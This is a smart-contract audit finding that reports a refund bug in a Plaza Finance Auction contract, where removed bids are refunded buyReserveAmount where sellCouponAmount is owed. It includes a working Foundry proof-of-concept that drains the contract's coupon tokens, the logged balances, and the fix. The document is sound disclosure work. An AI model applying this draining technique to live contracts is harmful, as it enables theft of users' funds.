A malicious bidder could drain the Auction contract
Description
Bidders can use coupon tokens through the Auction contract to purchase the underlying pool assets. When bidders place a bid, they will send sellCouponAmount amount of coupon tokens to the Auction contract. If the number of bids exceeds the maxBids or if the total amount of coupon tokens paid by bidders is greater than totalBuyCouponAmount, the contract will remove some low-priced bids and return the coupon tokens paid to the bidder.
function bid(uint256 buyReserveAmount, uint256 sellCouponAmount) external auctionActive returns(uint256) {
// [...]
// Transfer buy tokens to contract
! IERC20(buyCouponToken).transferFrom(msg.sender, address(this), sellCouponAmount);
Bid memory newBid = Bid({
bidder: msg.sender,
buyReserveAmount: buyReserveAmount,
! sellCouponAmount: sellCouponAmount,
nextBidIndex: 0, // Default to 0, which indicates the end of the list
prevBidIndex: 0, // Default to 0, which indicates the start of the list
claimed: false
});
// [...]
}The Auction contract uses the function _removeBid to remove a bid, which will transfer buyReserveAmount amount of coupon tokens to the bidder instead of sellCouponAmount.
function _removeBid(uint256 bidIndex) internal {
Bid storage bidToRemove = bids[bidIndex];
// [...]
address bidder = bidToRemove.bidder;
uint256 buyReserveAmount = bidToRemove.buyReserveAmount;
! uint256 sellCouponAmount = bidToRemove.sellCouponAmount;
currentCouponAmount -= sellCouponAmount;
totalSellReserveAmount -= buyReserveAmount;
// Refund the buy tokens for the removed bid
! IERC20(buyCouponToken).transfer(bidder, buyReserveAmount);
// [...]
}Impact
A malicious bidder could drain coupon tokens in the Auction contract. Here is a possible scenario. Assume the maxBids is 1,000, and there are 999 bids.
A malicious bidder adds a bid with the lowest price and sets
buyReserveAmountto the drainable amount.The malicious bidder adds another bid with a higher price to let the Auction contract remove the lowest-price bid.
The Auction contract transfers the drainable amount of coupon tokens to the malicious bidder.
The following proof-of-concept script demonstrates that a malicious bidder could drain the Auction contract:
function testAuditAuctionDrain() public {
vm.prank(governance);
_pool.setAuctionPeriod(10 days);
vm.warp(block.timestamp + 95 days);
_pool.startAuction();
(uint256 currentPeriod,) = _pool.bondToken().globalPool();
address auction = _pool.auctions(currentPeriod);
Auction _auction = Auction(auction);
Token usdc = Token(_pool.couponToken());
// logic from testRemoveManyBids() in Auction.t.sol
uint256 initialBidAmount = 1000;
uint256 initialSellAmount = 25000000000000000000;
// Create 999 bids
for (uint256 i = 0; i < 999; i++) {
address newBidder = address(uint160(i + 1));
vm.startPrank(newBidder);
usdc.mint(newBidder, initialSellAmount);
usdc.approve(address(auction), initialSellAmount);
_auction.bid(initialBidAmount, initialSellAmount);
vm.stopPrank();
}
address attacker = address(0x1337);
vm.startPrank(attacker);
usdc.mint(attacker, initialSellAmount * 3);
usdc.approve(address(auction), initialSellAmount * 3);
console.log("auction usdc balance: ", usdc.balanceOf(address(auction)));
console.log("attacker usdc balance: ", usdc.balanceOf(attacker));
// make lowest bid
uint256 drainableAmount = usdc.balanceOf(address(auction)) + 74999999999999999000; // from execess; (expceted ramaining from other bids removing)
_auction.bid(drainableAmount, initialSellAmount);
// make highest bid
uint256 highBidAmount = 500;
uint256 highSellAmount = initialSellAmount * 2;
_auction.bid(highBidAmount, highSellAmount);
console.log("-----------------after exploit-----------------");
console.log("auction usdc balance: ", usdc.balanceOf(address(auction)));
console.log("attacker usdc balance: ", usdc.balanceOf(attacker));
vm.stopPrank();
}The following text is the result of the proof-of-concept script:
[PASS] testAuditAuctionDrain() (gas: 500826389)
Logs:
auction usdc balance: 24975000000000000000000
attacker usdc balance: 75000000000000000000
-----------------after exploit-----------------
auction usdc balance: 0
attacker usdc balance: 25049999999999999999000Recommendations
Change the amount of coupon tokens transferred in the function _removeBid from buyReserveAmount to sellCouponAmount.
Remediation
This issue has been acknowledged by Plaza Finance, and a fix was implemented in commit 08d60707↗.